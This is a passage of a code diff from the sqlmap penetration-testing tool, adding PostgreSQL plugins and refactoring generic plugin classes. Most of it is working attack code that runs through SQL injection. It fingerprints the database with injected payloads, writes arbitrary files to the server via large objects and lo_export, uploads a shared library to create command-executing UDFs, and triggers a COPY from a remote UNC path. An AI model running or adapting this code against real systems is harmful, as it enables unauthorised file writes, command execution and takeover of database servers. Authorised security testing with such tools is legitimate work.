||||||
|
|
||||||
|
return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
|
||||||
|
|
||||||
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
|
errMsg = "PostgreSQL does not support file upload with UNION "
|
||||||
|
errMsg += "query SQL injection technique"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
|
wFileSize = os.path.getsize(wFile)
|
||||||
|
|
||||||
|
if wFileSize > 8192:
|
||||||
|
errMsg = "on PostgreSQL it is not possible to write files "
|
||||||
|
errMsg += "bigger than 8192 bytes at the moment"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
self.oid = randomInt()
|
||||||
|
|
||||||
|
debugMsg = "creating a support table to write the base64 "
|
||||||
|
debugMsg += "encoded file to"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||||
|
|
||||||
|
logger.debug("encoding file to its base64 string value")
|
||||||
|
fcEncodedList = self.fileEncode(wFile, "base64", False)
|
||||||
|
|
||||||
|
debugMsg = "forging SQL statements to write the base64 "
|
||||||
|
debugMsg += "encoded file to the support table"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
||||||
|
|
||||||
|
logger.debug("inserting the base64 encoded file to the support table")
|
||||||
|
|
||||||
|
for sqlQuery in sqlQueries:
|
||||||
|
inject.goStacked(sqlQuery)
|
||||||
|
|
||||||
|
debugMsg = "create a new OID for a large object, it implicitly "
|
||||||
|
debugMsg += "adds an entry in the large objects system table"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
# References:
|
||||||
|
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
||||||
|
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
||||||
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||||
|
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
||||||
|
|
||||||
|
debugMsg = "updating the system large objects table assigning to "
|
||||||
|
debugMsg += "the just created OID the binary (base64 decoded) UDF "
|
||||||
|
debugMsg += "as data"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
# Refereces:
|
||||||
|
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
|
||||||
|
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
|
||||||
|
#
|
||||||
|
# NOTE: From PostgreSQL site:
|
||||||
|
#
|
||||||
|
# "The data stored in the large object will never be more than
|
||||||
|
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
|
||||||
|
# typically 2 Kb"
|
||||||
|
#
|
||||||
|
# As a matter of facts it was possible to store correctly a file
|
||||||
|
# large 13776 bytes, the problem arises at next step (lo_export())
|
||||||
|
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
|
||||||
|
|
||||||
|
debugMsg = "exporting the OID %s file content to " % fileType
|
||||||
|
debugMsg += "file '%s'" % dFile
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
||||||
|
# (pg_largeobject 'data' field)
|
||||||
|
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
||||||
|
|
||||||
|
if confirm:
|
||||||
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
203
plugins/dbms/postgresql/fingerprint.py
Normal file
203
plugins/dbms/postgresql/fingerprint.py
Normal file
|
@ -0,0 +1,203 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import formatDBMSfp
|
||||||
|
from lib.core.common import formatFingerprint
|
||||||
|
from lib.core.common import getHtmlErrorFp
|
||||||
|
from lib.core.common import randomInt
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import PGSQL_SYSTEM_DBS
|
||||||
|
from lib.request import inject
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += "PostgreSQL"
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = formatDBMSfp()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||||
|
banVer = formatDBMSfp([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = getHtmlErrorFp()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
"""
|
||||||
|
References for fingerprint:
|
||||||
|
|
||||||
|
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
|
||||||
|
"""
|
||||||
|
|
||||||
|
if conf.dbms in PGSQL_ALIASES:
|
||||||
|
setDbms("PostgreSQL")
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing PostgreSQL"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
randInt = str(randomInt(1))
|
||||||
|
|
||||||
|
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming PostgreSQL"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
||||||
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DMBS is not PostgreSQL"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms("PostgreSQL")
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if inject.getValue("DIV(6, 3)", unpack=False, charsetType=2) == "2":
|
||||||
|
kb.dbmsVersion = [">= 8.4.0"]
|
||||||
|
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ) and not inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ):
|
||||||
|
kb.dbmsVersion = [">= 8.3.0", "< 8.4"]
|
||||||
|
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2):
|
||||||
|
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
|
||||||
|
elif inject.getValue("GREATEST(5, 9, 1)", unpack=False, charsetType=2) == "9":
|
||||||
|
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
|
||||||
|
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2) == "3":
|
||||||
|
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
|
||||||
|
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False):
|
||||||
|
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
|
||||||
|
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p":
|
||||||
|
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
|
||||||
|
elif inject.getValue("BIT_LENGTH(1)") == "8":
|
||||||
|
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
|
||||||
|
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a":
|
||||||
|
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
|
||||||
|
elif inject.getValue("POW(2, 3)", unpack=False, charsetType=2) == "8":
|
||||||
|
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
|
||||||
|
elif inject.getValue("MAX('a')") == "a":
|
||||||
|
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
|
||||||
|
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)):
|
||||||
|
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
|
||||||
|
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2) == "2":
|
||||||
|
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
|
||||||
|
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s":
|
||||||
|
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
|
||||||
|
else:
|
||||||
|
kb.dbmsVersion = ["< 6.2.0"]
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DMBS is not PostgreSQL"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def checkDbmsOs(self, detailed=False):
|
||||||
|
if kb.os:
|
||||||
|
return
|
||||||
|
|
||||||
|
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
|
||||||
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||||
|
|
||||||
|
# Windows executables should always have ' Visual C++' or ' mingw'
|
||||||
|
# patterns within the banner
|
||||||
|
osWindows = ( " Visual C++", "mingw" )
|
||||||
|
|
||||||
|
for osPattern in osWindows:
|
||||||
|
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||||
|
query += "LIKE '%" + osPattern + "%')>0"
|
||||||
|
query = agent.forgeCaseStatement(query)
|
||||||
|
|
||||||
|
if inject.getValue(query, charsetType=1) == "1":
|
||||||
|
kb.os = "Windows"
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
if kb.os is None:
|
||||||
|
kb.os = "Linux"
|
||||||
|
|
||||||
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
|
def forceDbmsEnum(self):
|
||||||
|
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
||||||
|
conf.db = "public"
|
||||||
|
|
||||||
|
warnMsg = "on PostgreSQL it is only possible to enumerate "
|
||||||
|
warnMsg += "on the current schema and on system databases, "
|
||||||
|
warnMsg += "sqlmap is going to use 'public' schema as "
|
||||||
|
warnMsg += "database name"
|
||||||
|
logger.warn(warnMsg)
|
85
plugins/dbms/postgresql/syntax.py
Normal file
85
plugins/dbms/postgresql/syntax.py
Normal file
|
@ -0,0 +1,85 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
def __init__(self):
|
||||||
|
GenericSyntax.__init__(self)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def unescape(expression, quote=True):
|
||||||
|
if quote:
|
||||||
|
while True:
|
||||||
|
index = expression.find("'")
|
||||||
|
if index == -1:
|
||||||
|
break
|
||||||
|
|
||||||
|
firstIndex = index + 1
|
||||||
|
index = expression[firstIndex:].find("'")
|
||||||
|
|
||||||
|
if index == -1:
|
||||||
|
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
||||||
|
|
||||||
|
lastIndex = firstIndex + index
|
||||||
|
old = "'%s'" % expression[firstIndex:lastIndex]
|
||||||
|
#unescaped = "("
|
||||||
|
unescaped = ""
|
||||||
|
|
||||||
|
for i in range(firstIndex, lastIndex):
|
||||||
|
unescaped += "CHR(%d)" % (ord(expression[i]))
|
||||||
|
if i < lastIndex - 1:
|
||||||
|
unescaped += "||"
|
||||||
|
|
||||||
|
#unescaped += ")"
|
||||||
|
expression = expression.replace(old, unescaped)
|
||||||
|
else:
|
||||||
|
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
|
||||||
|
|
||||||
|
return expression
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression):
|
||||||
|
while True:
|
||||||
|
index = expression.find("CHR(")
|
||||||
|
if index == -1:
|
||||||
|
break
|
||||||
|
|
||||||
|
firstIndex = index
|
||||||
|
index = expression[firstIndex:].find("))")
|
||||||
|
|
||||||
|
if index == -1:
|
||||||
|
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
||||||
|
|
||||||
|
lastIndex = firstIndex + index + 1
|
||||||
|
old = expression[firstIndex:lastIndex]
|
||||||
|
oldUpper = old.upper()
|
||||||
|
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
|
||||||
|
oldUpper = oldUpper.split("||")
|
||||||
|
|
||||||
|
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
||||||
|
expression = expression.replace(old, escaped)
|
||||||
|
|
||||||
|
return expression
|
97
plugins/dbms/postgresql/takeover.py
Normal file
97
plugins/dbms/postgresql/takeover.py
Normal file
|
@ -0,0 +1,97 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import paths
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
from lib.request import inject
|
||||||
|
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def __init__(self):
|
||||||
|
GenericTakeover.__init__(self)
|
||||||
|
|
||||||
|
def udfSetRemotePath(self):
|
||||||
|
# On Windows
|
||||||
|
if kb.os == "Windows":
|
||||||
|
# The DLL can be in any folder where postgres user has
|
||||||
|
# read/write/execute access is valid
|
||||||
|
# NOTE: by not specifing any path, it will save into the
|
||||||
|
# data directory, on PostgreSQL 8.3 it is
|
||||||
|
# C:\Program Files\PostgreSQL\8.3\data.
|
||||||
|
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
# On Linux
|
||||||
|
else:
|
||||||
|
# The SO can be in any folder where postgres user has
|
||||||
|
# read/write/execute access is valid
|
||||||
|
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
def udfSetLocalPaths(self):
|
||||||
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||||
|
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
|
||||||
|
|
||||||
|
self.getVersionFromBanner()
|
||||||
|
|
||||||
|
banVer = kb.bannerFp["dbmsVersion"]
|
||||||
|
|
||||||
|
if banVer >= "8.4":
|
||||||
|
majorVer = "8.4"
|
||||||
|
elif banVer >= "8.3":
|
||||||
|
majorVer = "8.3"
|
||||||
|
elif banVer >= "8.2":
|
||||||
|
majorVer = "8.2"
|
||||||
|
else:
|
||||||
|
errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
if kb.os == "Windows":
|
||||||
|
self.udfLocalFile += "/postgresql/windows/32/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||||
|
self.udfSharedLibExt = "dll"
|
||||||
|
else:
|
||||||
|
self.udfLocalFile += "/postgresql/linux/32/%s/lib_postgresqludf_sys.so" % majorVer
|
||||||
|
self.udfSharedLibExt = "so"
|
||||||
|
|
||||||
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||||
|
if udf in self.udfToCreate:
|
||||||
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||||
|
|
||||||
|
inp = ", ".join(i for i in inpRet["input"])
|
||||||
|
ret = inpRet["return"]
|
||||||
|
|
||||||
|
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||||
|
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||||
|
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
||||||
|
|
||||||
|
self.createdUdf.add(udf)
|
||||||
|
else:
|
||||||
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||||
|
|
||||||
|
def uncPathRequest(self):
|
||||||
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||||
|
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
|
||||||
|
self.cleanup(onlyFileTbl=True)
|
|
@ -50,7 +50,6 @@ from lib.techniques.outband.stacked import stackedTest
|
||||||
class Enumeration:
|
class Enumeration:
|
||||||
"""
|
"""
|
||||||
This class defines generic enumeration functionalities for plugins.
|
This class defines generic enumeration functionalities for plugins.
|
||||||
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, dbms):
|
def __init__(self, dbms):
|
||||||
|
@ -68,30 +67,6 @@ class Enumeration:
|
||||||
|
|
||||||
temp.inference = queries[dbms].inference
|
temp.inference = queries[dbms].inference
|
||||||
|
|
||||||
def getVersionFromBanner(self):
|
|
||||||
if "dbmsVersion" in kb.bannerFp:
|
|
||||||
return
|
|
||||||
|
|
||||||
infoMsg = "detecting back-end DBMS version from its banner"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
if kb.dbms == "MySQL":
|
|
||||||
first, last = 1, 6
|
|
||||||
|
|
||||||
elif kb.dbms == "PostgreSQL":
|
|
||||||
first, last = 12, 6
|
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
|
||||||
first, last = 29, 9
|
|
||||||
|
|
||||||
else:
|
|
||||||
raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
|
|
||||||
|
|
||||||
query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last)
|
|
||||||
|
|
||||||
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
|
||||||
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
|
||||||
|
|
||||||
def getBanner(self):
|
def getBanner(self):
|
||||||
if not conf.getBanner:
|
if not conf.getBanner:
|
||||||
return
|
return
|
||||||
|
|
|
@ -31,6 +31,7 @@ from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapUndefinedMethod
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
@ -250,6 +251,26 @@ class Filesystem:
|
||||||
if not output or output in ("y", "Y"):
|
if not output or output in ("y", "Y"):
|
||||||
self.__checkWrittenFile(wFile, dFile, fileType)
|
self.__checkWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
|
def unionReadFile(self, rFile):
|
||||||
|
errMsg = "'unionReadFile' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
def stackedReadFile(self, rFile):
|
||||||
|
errMsg = "'stackedReadFile' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
|
errMsg = "'unionWriteFile' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
|
errMsg = "'stackedWriteFile' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
def readFile(self, rFile):
|
def readFile(self, rFile):
|
||||||
fileContent = None
|
fileContent = None
|
||||||
|
|
||||||
|
|
|
@ -29,17 +29,8 @@ class Fingerprint:
|
||||||
This class defines generic fingerprint functionalities for plugins.
|
This class defines generic fingerprint functionalities for plugins.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@staticmethod
|
def __init__(self):
|
||||||
def unescape(expression, quote=True):
|
pass
|
||||||
errMsg = "'unescape' method must be defined "
|
|
||||||
errMsg += "into the specific DBMS plugin"
|
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def escape(expression):
|
|
||||||
errMsg = "'escape' method must be defined "
|
|
||||||
errMsg += "into the specific DBMS plugin"
|
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
errMsg = "'getFingerprint' method must be defined "
|
errMsg = "'getFingerprint' method must be defined "
|
||||||
|
@ -51,5 +42,10 @@ class Fingerprint:
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
def checkDbmsOs(self, detailed=False):
|
||||||
|
errMsg = "'checkDbmsOs' method must be defined "
|
||||||
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
def forceDbmsEnum(self):
|
def forceDbmsEnum(self):
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -22,7 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import os
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import normalizePath
|
from lib.core.common import normalizePath
|
||||||
|
@ -32,6 +31,8 @@ from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import queries
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
from lib.core.session import setRemoteTempPath
|
from lib.core.session import setRemoteTempPath
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
@ -42,6 +43,9 @@ class Miscellaneous:
|
||||||
This class defines miscellaneous functionalities for plugins.
|
This class defines miscellaneous functionalities for plugins.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
pass
|
||||||
|
|
||||||
def getRemoteTempPath(self):
|
def getRemoteTempPath(self):
|
||||||
if not conf.tmpPath:
|
if not conf.tmpPath:
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
|
@ -73,6 +77,30 @@ class Miscellaneous:
|
||||||
|
|
||||||
setRemoteTempPath()
|
setRemoteTempPath()
|
||||||
|
|
||||||
|
def getVersionFromBanner(self):
|
||||||
|
if "dbmsVersion" in kb.bannerFp:
|
||||||
|
return
|
||||||
|
|
||||||
|
infoMsg = "detecting back-end DBMS version from its banner"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if kb.dbms == "MySQL":
|
||||||
|
first, last = 1, 6
|
||||||
|
|
||||||
|
elif kb.dbms == "PostgreSQL":
|
||||||
|
first, last = 12, 6
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
first, last = 29, 9
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
|
||||||
|
|
||||||
|
query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last)
|
||||||
|
|
||||||
|
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
||||||
|
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
||||||
|
|
||||||
def delRemoteFile(self, tempFile, doubleslash=False):
|
def delRemoteFile(self, tempFile, doubleslash=False):
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
|
|
45
